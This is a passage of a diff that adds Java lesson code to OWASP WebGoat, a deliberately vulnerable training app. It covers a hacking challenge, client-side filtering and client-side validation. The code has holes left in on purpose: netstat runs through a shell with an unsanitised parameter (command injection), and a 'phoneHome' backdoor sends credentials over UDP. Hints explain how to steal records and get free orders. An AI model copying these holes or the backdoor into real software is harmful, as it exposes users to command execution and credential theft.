"center"); + if (s.isColor()) + { + t.setBorder(1); + } + String[] list = { "TCP", "TCPv6", "IP", "IPv6", "UDP", "UDPv6" }; + + TR tr = new TR(); + tr.addElement(new TD().addElement(ECSFactory.makeButton("View Network"))); + tr.addElement(new TD().setWidth("35%").addElement( + ECSFactory.makePulldown(PROTOCOL, list, "", 5))); + t.addElement(tr); + + ec.addElement(t); + } + catch (Exception e) + { + ec.addElement(new P() + .addElement("Select a message to read from the Message List below")); + } + + ec.addElement(new HR()); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign( + "center"); + if (s.isColor()) + { + t.setBorder(1); + } + TR tr = new TR(); + tr.addElement(new TD().addElement(showDefaceAttempt(s))); + t.addElement(tr); + ec.addElement(t); + } + return (ec); + // + } + + private boolean isDefaced(WebSession s) + { + // + boolean defaced = false; + try + { + // get current text and compare to the new text + String origpath = s.getContext().getRealPath( + WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP); + String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP); + String defacedText = getFileText(new BufferedReader(new FileReader(origpath)), false); + String origText = getFileText(new BufferedReader(new FileReader(masterFilePath)), false); + + defaced = (!origText.equals(defacedText)); + } + catch (Exception e) + { + e.printStackTrace(); + } + return defaced; + // + } + + private Element showDefaceAttempt(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); + + // get current text and compare to the new text + String origpath = s.getContext().getRealPath( + WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP); + String defaced = getFileText(new BufferedReader(new FileReader(origpath)), false); + String origText = getFileText(new BufferedReader(new FileReader(s.getContext().getRealPath( + WEBGOAT_CHALLENGE_JSP))), false); + + // show webgoat.jsp text + ec.addElement(new H1().addElement("Original Website Text")); + ec.addElement(new P().addElement(origText)); + ec.addElement(new HR()); + ec.addElement(new H1().addElement("Defaced Website Text")); + ec.addElement(new P().addElement(defaced)); + ec.addElement(new HR()); + + return ec; + } + + private void resetWebPage(WebSession s) + { + try + { + // get current text and compare to the new text + String defacedpath = s.getContext().getRealPath( + WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP); + String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP); + + // replace the defaced text with the original + File usersFile = new File(defacedpath); + FileWriter fw = new FileWriter(usersFile); + fw.write(getFileText(new BufferedReader(new FileReader(masterFilePath)), false)); + fw.close(); + // System.out.println("webgoat_guest replaced: " + getFileText( new + // BufferedReader( new FileReader( defacedpath ) ), false ) ); + } + catch (Exception e) + { + e.printStackTrace(); + } + } + + protected Category getDefaultCategory() + { + return Category.CHALLENGE; + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element doStage4(WebSession s) throws Exception + { + makeSuccess(s); + ElementContainer ec = new ElementContainer(); + ec.addElement(new H1().addElement("Thanks for coming!")); + ec.addElement(new BR()); + ec + .addElement(new H1() + .addElement("Please remember that you will be caught and fired if you use these techniques for evil.")); + + return (ec); + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element doStage5(WebSession s) throws Exception + { + // + ElementContainer ec = new ElementContainer(); + return (ec); + // + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element doStage6(WebSession s) throws Exception + { + return (new StringElement("not yet")); + } + + /** + * Gets the hints attribute of the ChallengeScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + // + + List hints = new ArrayList(); + hints.add("You need to gain access to the Java source code for this lesson."); + hints.add("Seriously, no more hints -- it's a CHALLENGE!"); + hints.add("Come on -- give it a rest!"); + if (getStage(s) != 1) + ; + { + hints.add("Persistance is always rewarded"); + } + + return hints; + + // + } + + protected Element makeLogin(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + ec.addElement(new H1().addElement("Sign In ")); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%") + .setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr + .addElement(new TH() + .addElement( + "Please sign in to your account. See the OWASP admin if you do not have an account.") + .setColSpan(2).setAlign("left")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + + TR row1 = new TR(); + TR row2 = new TR(); + row1.addElement(new TD(new B(new StringElement("*User Name: ")))); + row2.addElement(new TD(new B(new StringElement("*Password: ")))); + + Input input1 = new Input(Input.TEXT, USERNAME, ""); + Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); + row1.addElement(new TD(input1)); + row2.addElement(new TD(input2)); + t.addElement(row1); + t.addElement(row2); + + Element b = ECSFactory.makeButton("Login"); + t.addElement(new TR(new TD(b))); + ec.addElement(t); + + return (ec); + } + + /** + * Gets the instructions attribute of the ChallengeScreen object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "Your mission is to break the authentication scheme, " + + "steal all the credit cards from the database, and then deface the website. " + + "You will have to use many of the techniques you have learned in the other lessons. " + + "The main webpage for this site is 'webgoat_challenge_<username>.jsp'"; + + return (instructions); + } + + /** + * Gets the ranking attribute of the ChallengeScreen object + * + * @return The ranking value + */ + protected Integer getDefaultRanking() + { + return new Integer(130); + } + + /** + * This is a deliberate 'backdoor' that would send user name and password + * back to the remote host. Obviously, sending the password back to the + * remote host isn't that useful but... you get the idea + * + * @param s + * Description of the Parameter + * @param message + * Description of the Parameter + */ + protected void phoneHome(WebSession s, String message) + { + try + { + InetAddress addr = InetAddress.getByName(s.getRequest().getRemoteHost()); + DatagramPacket dp = new DatagramPacket(message.getBytes(), message.length()); + DatagramSocket sock = new DatagramSocket(); + sock.connect(addr, 1234); + System.out.println(" Sending message to " + sock.getInetAddress()); + sock.send(dp); + sock.close(); + } + catch (Exception e) + { + System.out.println("Couldn't phone home"); + e.printStackTrace(); + } + } + + /** + * Gets the title attribute of the ChallengeScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("The CHALLENGE!"); + } + + /** + * Description of the Method + * + * @param text + * Description of the Parameter + * @return Description of the Return Value + */ + protected ElementContainer getNetstatResults(WebSession s) + { + // + + ElementContainer ec = new ElementContainer(); + + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") + .setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TH().addElement("Protocol").setWidth("7%")); + tr.addElement(new TH().addElement("Local Address").setWidth("80%")); + tr.addElement(new TH().addElement("Foreign Address").setWidth("10%")); + tr.addElement(new TH().addElement("State").setWidth("3%")); + t.addElement(tr); + + String protocol = s.getParser().getRawParameter(PROTOCOL, "tcp"); + + String osName = System.getProperty("os.name"); + ExecResults er = null; + if (osName.indexOf("Windows") != -1) + { + String cmd = "cmd.exe /c netstat -a -p " + protocol; + er = Exec.execSimple(cmd); + } else + { + String[] cmd = { "/bin/sh", "-c", "netstat -a -p " + protocol }; + er = Exec.execSimple(cmd); + } + + String results = er.getOutput(); + StringTokenizer lines = new StringTokenizer(results, "\n"); + String line = lines.nextToken(); + // System.out.println(line); + int start = 0; + while (start == 0 && lines.hasMoreTokens()) + { + if ((line.indexOf("Proto") != -1)) + { + start++; + } else + { + line = lines.nextToken(); + } + } + while (start > 0 && lines.hasMoreTokens()) + { + // in order to avoid a ill-rendered screen when the user performs + // command injection, we will wrap the screen at 4 columns + int columnCount = 4; + tr = new TR(); + StringTokenizer tokens = new StringTokenizer(lines.nextToken(), "\t "); + while (tokens.hasMoreTokens() && columnCount-- > 0) + { + tr.addElement(new TD().addElement(tokens.nextToken())); + } + t.addElement(tr); + } + // parse the results + ec.addElement(t); + return (ec); + // + + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element makeClues(WebSession s) + { + return new StringElement("Clues not Available :)"); + } + + protected Element makeHints(WebSession s) + { + return new StringElement("Hint: Find the hints"); + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @param message + * Description of the Parameter + */ + protected void sendMessage(Socket s, String message) + { + try + { + OutputStreamWriter osw = new OutputStreamWriter(s.getOutputStream()); + osw.write(message); + } + catch (Exception e) + { + System.out.println("Couldn't write " + message + " to " + s); + e.printStackTrace(); + } + } + + protected Element buildCart(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") + .setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%")); + tr.addElement(new TH().addElement("Price:").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity:").setWidth("3%")); + tr.addElement(new TH().addElement("Total").setWidth("7%")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement("Sympathy Bouquet")); + tr.addElement(new TD().addElement("59.99").setAlign("right")); + tr.addElement(new TD().addElement(" 1 ").setAlign("right")); + tr.addElement(new TD().addElement("59.99")); + t.addElement(tr); + + ec.addElement(t); + + t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign( + "center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + ec.addElement(new BR()); + tr = new TR(); + tr.addElement(new TD().addElement("The total charged to your credit card:")); + tr.addElement(new TD().addElement("59.99")); + t.addElement(tr); + + ec.addElement(t); + + return (ec); + } + + public boolean canHaveClues() + { + return false; + } + + /** + * Gets the cookie attribute of the CookieScreen object + * + * @param s + * Description of the Parameter + * @return The cookie value + */ + protected String getCookie(WebSession s) + { + Cookie[] cookies = s.getRequest().getCookies(); + + for (int i = 0; i < cookies.length; i++) + { + if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE)) + { + return (cookies[i].getValue()); + } + } + + return (null); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java new file mode 100644 index 000000000..6a0f37b3a --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java @@ -0,0 +1,429 @@ +package org.owasp.webgoat.lessons.ClientSideFiltering; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileReader; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.html.A; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Div; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.Script; +import org.apache.ecs.html.Select; +import org.apache.ecs.html.Style; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.apache.ecs.jsp.jsp_include; +import org.apache.ecs.xhtml.style; +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.SequentialLessonAdapter; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +public class ClientSideFiltering extends SequentialLessonAdapter { + + private final static String ANSWER = "answer"; + + public final static A ASPECT_LOGO = new A().setHref( + "http://www.aspectsecurity.com").addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security") + .setBorder(0).setHspace(0).setVspace(0)); + + protected Element createContent(WebSession s) { + return super.createStagedContent(s); + } + + protected Element createMainContent(WebSession s) { + ElementContainer ec = new ElementContainer(); + + try { + + ec.addElement(new Script() + .setSrc("javascript/clientSideFiltering.js")); + + Input input = new Input(Input.HIDDEN, "userID", 102); + + input.setID("userID"); + + ec.addElement(input); + + style sty = new style(); + sty + .addElement("#lesson_wrapper {height: 435px;width: 500px;}" + + "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);" + + "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}" + + ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);" + + "width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}"); + + ec.addElement(sty); + + Div wrapperDiv = new Div(); + wrapperDiv.setID("lesson_wrapper"); + + Div headerDiv = new Div(); + headerDiv.setID("lesson_header"); + + Div workspaceDiv = new Div(); + workspaceDiv.setClass("lesson_workspace"); + + wrapperDiv.addElement(headerDiv); + wrapperDiv.addElement(workspaceDiv); + + ec.addElement(wrapperDiv); + + workspaceDiv.addElement(new BR()); + workspaceDiv.addElement(new BR()); + + workspaceDiv.addElement(new P() + .addElement("     Select user:")); + + workspaceDiv.addElement(createDropDown()); + + workspaceDiv.addElement(new P()); + + Table t = new Table().setCellSpacing(0).setCellPadding(2) + .setBorder(1).setWidth("90%").setAlign("center"); + + t.setID("hiddenEmployeeRecords"); + t.setStyle("display: none"); + + workspaceDiv.addElement(t); + + t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1) + .setWidth("90%").setAlign("center"); + + TR tr = new TR(); + tr.addElement(new TD().addElement("UserID")); + tr.addElement(new TD().addElement("First Name")); + tr.addElement(new TD().addElement("Last Name")); + tr.addElement(new TD().addElement("SSN")); + tr.addElement(new TD().addElement("Salary")); + t.addElement(tr); + tr = new TR(); + tr.setID("employeeRecord"); + t.addElement(tr); + + workspaceDiv.addElement(t); + + } catch (Exception e) { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + /** + * Gets the category attribute of the RoleBasedAccessControl object + * + * @return The category value + */ + + protected ElementContainer doStage1(WebSession s) { + ElementContainer ec = new ElementContainer(); + + StringBuffer answerString = null; + int answer = 0; + + try { + answerString = new StringBuffer(s.getParser().getStringParameter( + ANSWER, "")); + answer = Integer.parseInt(answerString.toString()); + } catch (NumberFormatException e) { + + // e.printStackTrace(); + } + + if (answer == 450000) { + + getLessonTracker(s).setStage(2); + s.setMessage("Stage 1 completed."); + + // Redirect user to Stage2 content. + ec.addElement(doStage2(s)); + } else { + ec.addElement(stage1Content(s)); + } + + return ec; + + } + + protected Element doStage2(WebSession s) { + ElementContainer ec = new ElementContainer(); + + /** + * They pass iff: + * + * 1. If the DOMXSS.js file contains the lines "escapeHTML(name)" + */ + String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp"); + String content = getFileContent(file); + + if (content.indexOf("[Managers/Manager/text()") != -1) { + makeSuccess(s); + ec.addElement(stage2Content(s)); + } else { + ec.addElement(stage2Content(s)); + } + + return ec; + } + + protected ElementContainer stage1Content(WebSession s) { + ElementContainer ec = new ElementContainer(); + try { + + ec.addElement(createMainContent(s)); + + Table t1 = new Table().setCellSpacing(0).setCellPadding(2); + + if (s.isColor()) { + t1.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TD() + .addElement("What is Neville Bartholomew's salary? ")); + tr.addElement(new TD(new Input(Input.TEXT, ANSWER, ""))); + Element b = ECSFactory.makeButton("Submit Answer"); + tr.addElement(new TD(b).setAlign("LEFT")); + t1.addElement(tr); + + ec.addElement(t1); + + } catch (Exception e) { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return ec; + } + + protected ElementContainer stage2Content(WebSession s) { + ElementContainer ec = new ElementContainer(); + try { + + ec.addElement(createMainContent(s)); + + ec.addElement(new BR()); + ec.addElement(new BR()); + + Table t1 = new Table().setCellSpacing(0).setCellPadding(2); + + if (s.isColor()) { + t1.setBorder(1); + } + + TR tr = new TR(); + /*tr.addElement(new TD() + .addElement("Press 'Submit' when you believe you have completed the lesson.")); + */ + Element b = ECSFactory + .makeButton("Click here when you believe you have completed the lesson."); + tr.addElement(new TD(b).setAlign("CENTER")); + t1.addElement(tr); + + ec.addElement(t1); + + } catch (Exception e) { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return ec; + } + + protected Select createDropDown() { + Select select = new Select("UserSelect"); + + select.setID("UserSelect"); + + org.apache.ecs.html.Option option = new org.apache.ecs.html.Option( + "Choose Employee", "0", "Choose Employee"); + + select.addElement(option); + + option = new org.apache.ecs.html.Option("Larry Stooge", "101", + "Larry Stooge"); + + select.addElement(option); + + option = new org.apache.ecs.html.Option("Curly Stooge", "103", + "Curly Stooge"); + + select.addElement(option); + + option = new org.apache.ecs.html.Option("Eric Walker", "104", + "Eric Walker"); + + select.addElement(option); + + option = new org.apache.ecs.html.Option("Tom Cat", "105", "Tom Cat"); + + select.addElement(option); + + option = new org.apache.ecs.html.Option("Jerry Mouse", "106", + "Jerry Mouse"); + + select.addElement(option); + + option = new org.apache.ecs.html.Option("David Giambi", "107", + "David Giambi"); + + select.addElement(option); + + option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", + "Bruce McGuirre"); + + select.addElement(option); + + option = new org.apache.ecs.html.Option("Sean Livingston", "109", + "Sean Livingston"); + + select.addElement(option); + + option = new org.apache.ecs.html.Option("Joanne McDougal", "110", + "Joanne McDougal"); + + select.addElement(option); + + select.setOnChange("selectUser()"); + + select.setOnFocus("fetchUserData()"); + + return select; + + } + + protected Category getDefaultCategory() { + return Category.AJAX_SECURITY; + } + + /** + * Gets the hints attribute of the RoleBasedAccessControl object + * + * @return The hints value + */ + public List getHints(WebSession s) { + List hints = new ArrayList(); + + hints + .add("The information displayed when an employee is choosen from the drop down menu is stored on the client side."); + + hints + .add("Use Firebug to find where the information is stored on the client side."); + + hints + .add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu."); + + hints.add("Look in the last row of the hidden table."); + + hints + .add("You can access the server directly here " + + "to see what results are being returned"); + + hints.add("The server uses an XPath query agasinst an XML database."); + + hints + .add("The query currently returns all of the contents of the database."); + + hints + .add("The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102"); + + hints.add("Try using a filter operator."); + + hints + .add("your filter operator shoiuld look something like: [Managers/Manager/text()="); + + return hints; + + } + + public String getInstructions(WebSession s) { + String instructions = ""; + + if (getLessonTracker(s).getStage() == 1) { + instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. " + + "You have access to everyone in the company's information, except the CEO, " + + "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information." + + " For this exercise, " + + "examine the contents of the page to see what extra information you can find."; + } else if (getLessonTracker(s).getStage() == 2) { + instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return " + + "results that Moe Stooge is allowed to see."; + } + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(10); + + protected Integer getDefaultRanking() { + return DEFAULT_RANKING; + } + + /** + * Gets the resources attribute of the RoleBasedAccessControl object + * + * @param rl + * Description of the Parameter + * @return The resources value + */ + + /** + * Gets the role attribute of the RoleBasedAccessControl object + * + * @param user + * Description of the Parameter + * @return The role value + */ + + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + + public String getTitle() { + return ("LAB: Client Side Filtering"); + } + + private String getFileContent(String content) { + BufferedReader is = null; + StringBuffer sb = new StringBuffer(); + + try { + is = new BufferedReader(new FileReader(new File(content))); + String s = null; + + while ((s = is.readLine()) != null) { + sb.append(s); + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (is != null) { + try { + is.close(); + } catch (IOException ioe) { + + } + } + } + + return sb.toString(); + } + + public Element getCredits() { + return super.getCustomCredits("", ASPECT_LOGO); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideValidation.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideValidation.java new file mode 100644 index 000000000..fc48ebdb7 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideValidation.java @@ -0,0 +1,423 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.html.A; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Center; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.Script; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TH; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.HtmlEncoder; + +public class ClientSideValidation extends SequentialLessonAdapter { + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + + private boolean stage1FirstVisit = true; + + private boolean stage2FirstVisit = true; + + protected Element createContent(WebSession s) { + return super.createStagedContent(s); + } + + protected Element doStage1(WebSession s) { + return evalStage1(s); + } + + protected Element doStage2(WebSession s) { + return stage2Content(s); + } + + protected Element evalStage1(WebSession s) { + + ElementContainer ec = new ElementContainer(); + + String param1 = s.getParser().getRawParameter("field1", ""); + + //test success + + if (param1.equalsIgnoreCase("platinum") + || param1.equalsIgnoreCase("gold") + || param1.equalsIgnoreCase("silver") + || param1.equalsIgnoreCase("bronze") + || param1.equalsIgnoreCase("pressone") + || param1.equalsIgnoreCase("presstwo")) { + getLessonTracker(s).setStage(2); + //s.resetHintCount(); + s.setMessage("Stage 1 completed."); + + // Redirect user to Stage2 content. + ec.addElement(doStage2(s)); + + } else { + if (!stage1FirstVisit) { + s.setMessage("Keep looking for the coupon code."); + } + stage1FirstVisit = false; + + ec.addElement(stage1Content(s)); + } + + return ec; + + } + + + protected Element stage1Content(WebSession s) { + + ElementContainer ec = new ElementContainer(); + + try { + + + ec.addElement(new Script() + .setSrc("javascript/clientSideValidation.js")); + + + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1() + .addElement("Shopping Cart"))); + + ec.addElement(createQtyTable(s)); + + ec.addElement(createTotalTable(s)); + ec.addElement(new BR()); + ec.addElement(new HR().setWidth("90%")); + + + + } catch (Exception e) { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } + + protected Element stage2Content(WebSession s) { + + ElementContainer ec = new ElementContainer(); + + try { + + ec.addElement(new Script() + .setSrc("javascript/clientSideValidation.js")); + + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1() + .addElement("Shopping Cart"))); + + ec.addElement(createQtyTable(s)); + + ec.addElement(createTotalTable(s)); + ec.addElement(new BR()); + ec.addElement(new HR().setWidth("90%")); + + // test success + + float grandTotal = s.getParser() + .getFloatParameter("GRANDTOT", 0.0f); + + if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit) { + makeSuccess(s); + } else { + + if (!stage2FirstVisit) { + s.setMessage("Your order isn't free yet."); + } + stage2FirstVisit = false; + } + + } catch (Exception e) { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } + + protected ElementContainer createTotalTable(WebSession s) { + + ElementContainer ec = new ElementContainer(); + + String param1 = s.getParser().getRawParameter("field1", ""); + String param2 = HtmlEncoder.encode(s.getParser().getRawParameter( + "field2", "4128 3214 0002 1999")); + + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) + .setWidth("90%").setAlign("center"); + + if (s.isColor()) { + t.setBorder(1); + } + + ec.addElement(new BR()); + + TR tr = new TR(); + tr.addElement(new TD() + .addElement("Total before coupon is applied:")); + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "SUBTOT", s.getParser() + .getStringParameter("SUBTOT", "0")).setReadOnly(true)) + .setAlign("right")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD() + .addElement("Total to be charged to your credit card:")); + + tr.addElement(new TD() + .addElement( + new Input(Input.TEXT, "GRANDTOT", s.getParser() + .getStringParameter("GRANDTOT", "0")) + .setReadOnly(true)).setAlign("right")); + t.addElement(tr); + + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Enter your credit card number:")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", + param2))); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Enter your coupon code:")); + + Input input = new Input(Input.TEXT, "field1", param1); + input.setOnKeyUp("isValidCoupon(field1.value)"); + tr.addElement(new TD().addElement(input)); + t.addElement(tr); + + Element b = ECSFactory.makeButton("Purchase"); + tr = new TR(); + tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center")); + t.addElement(tr); + ec.addElement(t); + + return ec; + + } + + protected int getTotalQty(WebSession s) { + + int quantity = 0; + + quantity += s.getParser().getFloatParameter("QTY1", 0.0f); + quantity += s.getParser().getFloatParameter("QTY2", 0.0f); + quantity += s.getParser().getFloatParameter("QTY3", 0.0f); + quantity += s.getParser().getFloatParameter("QTY4", 0.0f); + + return quantity; + } + + protected ElementContainer createQtyTable(WebSession s) { + + ElementContainer ec = new ElementContainer(); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1) + .setWidth("90%").setAlign("center"); + + if (s.isColor()) { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now") + .setWidth("70%")); + tr.addElement(new TH().addElement("Price").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity").setWidth("10%")); + tr.addElement(new TH().addElement("Total").setWidth("10%")); + t.addElement(tr); + + tr = new TR(); + tr + .addElement(new TD() + .addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); + + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter( + "PRC1", "69.99")).setSize(10).setReadOnly(true)).setAlign("right")); + + Input input = new Input(Input.TEXT, "QTY1", s.getParser() + .getStringParameter("QTY1", "0")); + + input.setOnKeyUp("updateTotals();"); + input.setOnLoad("updateTotals();"); + input.setSize(10); + + tr.addElement(new TD().addElement(input).setAlign("right")); + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter( + "TOT1", "0")).setSize(10).setReadOnly(true)).setAlign("right")); + + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter( + "PRC2", "27.99")).setSize(10).setReadOnly(true)).setAlign("right")); + + input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter( + "QTY2", "0")); + + input.setOnKeyUp("updateTotals();"); + input.setSize(10); + tr.addElement(new TD().addElement(input).setAlign("right")); + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter( + "TOT2", "0")).setSize(10).setReadOnly(true)).setAlign("right")); + + t.addElement(tr); + tr = new TR(); + tr + .addElement(new TD() + .addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™")); + + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter( + "PRC3", "1599.99")).setSize(10).setReadOnly(true)) + .setAlign("right")); + + input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter( + "QTY3", "0")); + + input.setOnKeyUp("updateTotals();"); + input.setSize(10); + tr.addElement(new TD().addElement(input).setAlign("right")); + + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter( + "TOT3", "0")).setSize(10).setReadOnly(true)).setAlign("right")); + + t.addElement(tr); + tr = new TR(); + tr + .addElement(new TD() + .addElement("3 - Year Performance Service Plan $1000 and Over ")); + + + tr + .addElement(new TD().addElement( + new Input(Input.TEXT, "PRC4", s.getParser() + .getStringParameter("PRC4", "299.99")).setSize(10) + .setReadOnly(true)).setAlign("right")); + + input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter( + "QTY4", "0")); + + input.setOnKeyUp("updateTotals();"); + input.setSize(10); + tr.addElement(new TD().addElement(input).setAlign("right")); + + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter( + "TOT4", "0")).setSize(10).setReadOnly(true)).setAlign("right")); + + t.addElement(tr); + ec.addElement(t); + return ec; + } + + protected Category getDefaultCategory() { + return Category.AJAX_SECURITY; + } + + /** + * Gets the hints attribute of the AccessControlScreen object + * + * @return The hints value + */ + + + public List getHints(WebSession s) + { + List hints = new ArrayList(); + + + + + hints.add("Use Firebug to examine the JavaScript."); + + hints.add("Using Firebug, you can add breakpoints in the JavaScript."); + + hints.add("Use Firebug to find the array of encrypted coupon codes, and " + + "step through the JavaScript to see the decrypted values."); + + hints.add("You can use Firebug to inspect (and modify) the HTML."); + + hints.add("Use Firebug to remove the 'readonly' attribute from the input next to " + + "'The total charged to your credit card:' and set the value to 0."); + + + + return hints; + + } + + /** + * Gets the instructions attribute of the WeakAccessControl object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) { + String instructions = ""; + + if (getLessonTracker(s).getStage() == 1) { + instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount."; + } + else if (getLessonTracker(s).getStage() == 2) { + instructions = "STAGE 2:\tNow, try to get your entire order for free."; + } + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(120); + + protected Integer getDefaultRanking() { + return DEFAULT_RANKING; + } + + /** + * Gets the title attribute of the 